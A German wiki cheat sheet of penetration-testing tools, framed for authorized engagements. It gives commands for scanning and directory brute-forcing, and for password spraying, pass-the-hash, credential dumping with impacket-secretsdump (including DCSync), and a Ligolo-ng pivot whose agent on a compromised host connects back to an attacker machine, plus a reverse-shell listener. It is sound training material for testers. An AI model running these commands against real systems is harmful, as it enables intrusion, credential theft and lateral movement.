Pentest Tools

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

Pentest Tools Übersicht

Übersicht über gängige Werkzeuge für professionelle Penetrationstests. Alle Aktivitäten setzen einen schriftlichen Auftrag (Rules of Engagement) voraus.

Voraussetzungen

  • Kali Linux oder Parrot OS (alle Tools im Repo)
  • Schriftlicher Pentest-Auftrag / ROE
  • Definierter Scope
# Tool-Installation (falls nicht vorhanden)
sudo apt update && sudo apt install -y rustscan feroxbuster dirsearch whatweb netexec bloodhound-python impacket gowitness
pip install cloud-enum --break-system-packages

Reconnaissance

RustScan (Ultra Fast Port Scanner)

Moderner Hochgeschwindigkeits-Portscanner. Deutlich schneller als nmap alleine — scannt alle Ports vor und übergibt Treffer an nmap zur Analyse.

Installation
In Kali enthalten, alternativ: cargo install rustscan
# Basis-Scan
rustscan -a target.com

# Bestimmte Ports
rustscan -a target.com -p 22,80,443

# Alle Ports (1-65535)
rustscan -a target.com -r 1-65535

# Subnetz
rustscan -a 192.168.1.0/24

# Scan-Geschwindigkeit erhöhen (ulimit)
rustscan -a target.com --ulimit 5000

# Direkt an nmap übergeben (Service-Detection)
rustscan -a target.com -- -sV

# Ergebnisse speichern
rustscan -a target.com > rustscan_results.txt

# Timeout anpassen (ms)
rustscan -a target.com -t 2000
Hinweis
--ulimit erhöht die Anzahl gleichzeitiger Verbindungen. Vorsicht auf instabilen Zielen — ggf. reduzieren.

WhatWeb (Web Technology Fingerprinting)

Identifiziert eingesetzte Technologien auf Webservern: CMS, Frameworks, Plugins, Softwareversionen. Nützlich zur Angriffsvektoranalyse.

# Basis-Scan
whatweb https://target.com

# Mehrere Ziele aus Datei
whatweb -i targets.txt

# Verbose-Output
whatweb -v https://target.com

# Aggressiver Scan (Stufe 1-4, Standard ist 1)
whatweb -a 3 https://target.com

# Ausgabe in Datei
whatweb https://target.com -o report.txt

# Gezielt nach Plugin suchen
whatweb --plugins wordpress https://target.com

# Subnetz scannen
whatweb 192.168.1.0/24

# Hilfe
whatweb --help
Aggressionsstufen
1 = passiv (Standard), 3 = aktiv mit mehr Requests, 4 = sehr aggressiv

Gowitness (Web Screenshot Recon)

Erstellt automatisch Screenshots von Weboberflächen. Praktisch bei großen Scopes um Login-Panels, Dashboards und exponierte Interfaces schnell zu identifizieren.

# Einzelner Host
gowitness single https://target.com

# Mehrere Hosts aus Datei
gowitness file -f targets.txt

# Screenshots in Verzeichnis speichern
gowitness file -f targets.txt -P screenshots/

# Mit Timeout (Sekunden)
gowitness single https://target.com --timeout 10

# HTTP und HTTPS erfassen
gowitness file -f targets.txt --disable-tls

# Auflösung setzen
gowitness single https://target.com --resolution-x 1920 --resolution-y 1080

# Datenbank speichern
gowitness file -f targets.txt --db-path gowitness.db

# HTML-Report generieren
gowitness report generate

Cloud_enum (Cloud Asset Discovery)

Findet exponierte Cloud-Ressourcen bei AWS, Azure und Google Cloud — öffentlich erreichbare Storage-Buckets, Services und Infrastruktur.

# Basis-Enumeration
cloud_enum -k target

# Nur AWS
cloud_enum -k target --cloud aws

# Nur Azure
cloud_enum -k target --cloud azure

# Ausgabe in Datei
cloud_enum -k target -o results.txt

# Mehrere Keywords aus Datei
cloud_enum -kf keywords.txt

# Verbose
cloud_enum -k target -v

# Mit Threading
cloud_enum -k target -t 10

# JSON-Output
cloud_enum -k target -o results.json -j
Hinweis
Als Keyword eignen sich Firmenname, Produktnamen, Subdomains — alles was als Bucket-Name auftauchen könnte.

Web Application Testing

Dirsearch (Web Path Discovery)

Findet versteckte Verzeichnisse und Dateien auf Webservern: Admin-Panels, Backup-Dateien, exponierte Endpoints.

# Basis-Scan
dirsearch -u https://target.com

# Eigene Wordlist
dirsearch -u https://target.com -w wordlist.txt

# Bestimmte Extensions
dirsearch -u https://target.com -e php,html,txt

# Mehrere Ziele
dirsearch -l targets.txt

# Ausgabe speichern
dirsearch -u https://target.com -o results.txt

# Thread-Anzahl
dirsearch -u https://target.com -t 50

# Rekursiver Scan
dirsearch -u https://target.com -r

# Silent Mode (nur Treffer)
dirsearch -u https://target.com -q

Feroxbuster (Fast Content Discovery)

Schnelle Alternative zu dirsearch, in Rust geschrieben. Gut für große Wordlists und rekursive Scans.

# Basis-Scan
feroxbuster -u https://target.com -w wordlist.txt

# Rekursiv
feroxbuster -u https://target.com -w wordlist.txt -r

# Mit File-Extensions
feroxbuster -u https://target.com -w wordlist.txt -x php,html,txt

# Ausgabe speichern
feroxbuster -u https://target.com -w wordlist.txt -o results.txt

# Rate Limiting
feroxbuster -u https://target.com -w wordlist.txt --rate-limit 50

# Thread-Anzahl
feroxbuster -u https://target.com -w wordlist.txt -t 50

# Keine Rekursion
feroxbuster -u https://target.com -w wordlist.txt -n

# Silent Mode
feroxbuster -u https://target.com -w wordlist.txt -q
Wordlists
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ist ein guter Startpunkt.

Internal Network / Active Directory

NetExec (Network Exploitation Tool)

Moderner Nachfolger von CrackMapExec. Analysiert SMB, WinRM, SSH und weitere Dienste. Zentral für interne Netzwerktests und Active Directory Enumeration.

# SMB-Dienst scannen
netexec smb target.com

# Subnetz scannen
netexec smb 192.168.1.0/24

# Benutzer enumerieren (Guest-Login)
netexec smb target.com -u guest -p ""

# Mit Credentials authentifizieren
netexec smb target.com -u admin -p password

# Befehl ausführen
netexec smb target.com -u admin -p password -x whoami

# WinRM prüfen
netexec winrm target.com

# SSH prüfen
netexec ssh target.com

# Shares auflisten
netexec smb target.com --shares

# Passwort-Spray (Vorsicht: Lockout-Policy beachten!)
netexec smb 192.168.1.0/24 -u users.txt -p 'Winter2024!'

# Hash-Authentication (Pass-the-Hash)
netexec smb target.com -u admin -H NTLMHASH
Wichtig
Vor Passwort-Spray immer Lockout-Policy prüfen. Im Zweifel: lieber nicht.

BloodHound (Active Directory Enumeration)

Sammelt AD-Informationen und visualisiert Beziehungen zwischen Benutzern, Systemen und Berechtigungen. Zeigt Privilege-Escalation-Pfade im Graphen.

# Alle Daten sammeln
bloodhound-python -d domain.local -u user -p password -c all

# Nur Session-Daten
bloodhound-python -d domain.local -u user -p password -c session

# Mit eigenem DNS-Server
bloodhound-python -d domain.local -u user -p password -ns 192.168.1.10

# Ausgabe in Verzeichnis
bloodhound-python -d domain.local -u user -p password -c all -o output/

# Hash-Authentifizierung
bloodhound-python -d domain.local -u user --hashes LM:NT

# Nur Gruppen
bloodhound-python -d domain.local -u user -p password -c group

# Nur Computer
bloodhound-python -d domain.local -u user -p password -c computer

# LDAPS verwenden
bloodhound-python -d domain.local -u user -p password --use-ldaps
Workflow
1. bloodhound-python → JSON-Dateien generieren
2. Neo4j starten: sudo neo4j start
3. BloodHound GUI starten, JSON-Dateien importieren
4. Vordefinierte Queries nutzen: "Shortest Paths to Domain Admin"

Impacket-secretsdump (Credential Extraction)

Extrahiert Credentials, Passwort-Hashes und Authentifizierungsdaten aus Windows-Systemen. Für AD-Assessments und Credential-Exposure-Analyse.

# Remote Credential Dump
impacket-secretsdump user:password@target.com

# NTLM-Authentifizierung mit Domain
impacket-secretsdump domain/user:password@target.com

# Per IP-Adresse
impacket-secretsdump user:password@192.168.1.10

# Ausgabe in Datei
impacket-secretsdump user:password@target.com > hashes.txt

# Hash-Authentifizierung (Pass-the-Hash)
impacket-secretsdump -hashes LMHASH:NTHASH user@target.com

# Lokale SAM-Datenbank (offline, mit Registry-Hives)
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

# Domain Controller (DCSync)
impacket-secretsdump domain/user:password@dc.domain.local

# Debug-Mode
impacket-secretsdump -debug user:password@target.com
Hinweis DCSync
Erfordert Replikationsrechte (Domain Admin oder delegiert). Zieht alle Hashes vom DC ohne direkten Zugriff auf NTDS.dit.

Pivoting und Tunneling

Ligolo-ng (Advanced Pivoting Tool)

Modernes Pivoting-Tool für interne Netzwerke. Erstellt eine transparente Netzwerkverbindung über einen kompromittierten Host — ohne SOCKS-Proxy, direkt über ein tun-Interface. Deutlich komfortabler als klassisches SSH-Tunneling oder Chisel.

Konzept

Angreifer (Kali) ──[ligolo-proxy]──► Pivot-Host ──[ligolo-agent]──► internes Netz
                                     (DMZ)                           (192.168.10.0/24)

Der Proxy läuft auf dem Angreifer-System, der Agent auf dem kompromittierten Host. Nach dem Verbindungsaufbau routet Kali Traffic transparent ins interne Netz.

Lab-Setup

Voraussetzung
Zwei Netzsegmente in Proxmox/VirtualBox:
  • vmbr1 — DMZ-Netz (z.B. 10.10.10.0/24), Kali und Pivot-Host
  • vmbr2 — internes Netz (z.B. 192.168.10.0/24), nur Pivot-Host und Ziele

Schritt 1: Binaries herunterladen

# Auf Kali (Angreifer)
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_linux_amd64
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_linux_amd64
chmod +x ligolo-ng_proxy_linux_amd64 ligolo-ng_agent_linux_amd64
mv ligolo-ng_proxy_linux_amd64 ligolo-proxy
mv ligolo-ng_agent_linux_amd64 ligolo-agent
Windows-Agent (für Windows-Pivot-Hosts)
ligolo-ng_agent_windows_amd64.exe vom gleichen Release

Schritt 2: tun-Interface erstellen (Kali)

# Einmalig — tun-Interface anlegen
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

Schritt 3: Proxy starten (Kali)

# Self-signed Cert (für Lab ausreichend)
./ligolo-proxy -selfcert

# Lauscht auf Port 11601 (default)
# Eigenes Zertifikat
./ligolo-proxy -certfile cert.pem -keyfile key.pem

Schritt 4: Agent auf Pivot-Host starten

# Agent auf dem kompromittierten Host ausführen
# (Binary vorher übertragen per scp/wget/curl)
./ligolo-agent -connect KALI_IP:11601 -ignore-cert

# Windows
.\ligolo-agent.exe -connect KALI_IP:11601 -ignore-cert

Schritt 5: Tunnel aufbauen (Proxy-Shell)

# In der ligolo-proxy Shell:

ligolo-ng » session
# → verbundene Agents anzeigen, Nummer eingeben

ligolo-ng » ifconfig
# → Netzwerkinterfaces des Pivot-Hosts anzeigen
# → internes Netz identifizieren (z.B. 192.168.10.0/24)

ligolo-ng » tunnel_start
# → Tunnel aktiv

Schritt 6: Route auf Kali setzen

# Internes Netz über ligolo-Interface routen
sudo ip route add 192.168.10.0/24 dev ligolo

# Prüfen
ip route show | grep ligolo

Schritt 7: Internes Netz scannen

# Ab jetzt direkt aus Kali — kein Proxy-Chain nötig
nmap -sT -p 1-1000 192.168.10.0/24
rustscan -a 192.168.10.0/24
netexec smb 192.168.10.0/24

Tunnel beenden

ligolo-ng » tunnel_stop
ligolo-ng » exit
# Route entfernen
sudo ip route del 192.168.10.0/24 dev ligolo

Listener (Reverse Shells durch den Tunnel)

Wenn eine Reverse Shell aus dem internen Netz zu Kali zurückkommen soll:

# In der Proxy-Shell einen Listener definieren
ligolo-ng » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444

# Payload auf internem Ziel: Connect zu PIVOT_HOST:4444
# Ligolo leitet weiter zu Kali:4444
# Kali: netcat lauscht
nc -lvnp 4444

Typischer Workflow

1. Scope definieren, ROE unterschrieben

2. Recon extern
   rustscan → offene Ports
   whatweb   → Technologie-Fingerprint
   cloud_enum → Cloud-Assets

3. Web Application
   dirsearch / feroxbuster → versteckte Pfade
   gowitness → visuelle Übersicht bei vielen Hosts

4. Foothold
   netexec smb → SMB-Enumeration, Shares
   impacket-secretsdump → Credential Dump nach Zugriff

5. Internal
   bloodhound-python → AD-Mapping
   netexec → lateral movement

6. Pivoting (bei Segmentierung)
   ligolo-ng → Tunnel ins interne Netz
   → Tools laufen dann direkt gegen interne Ziele

Siehe auch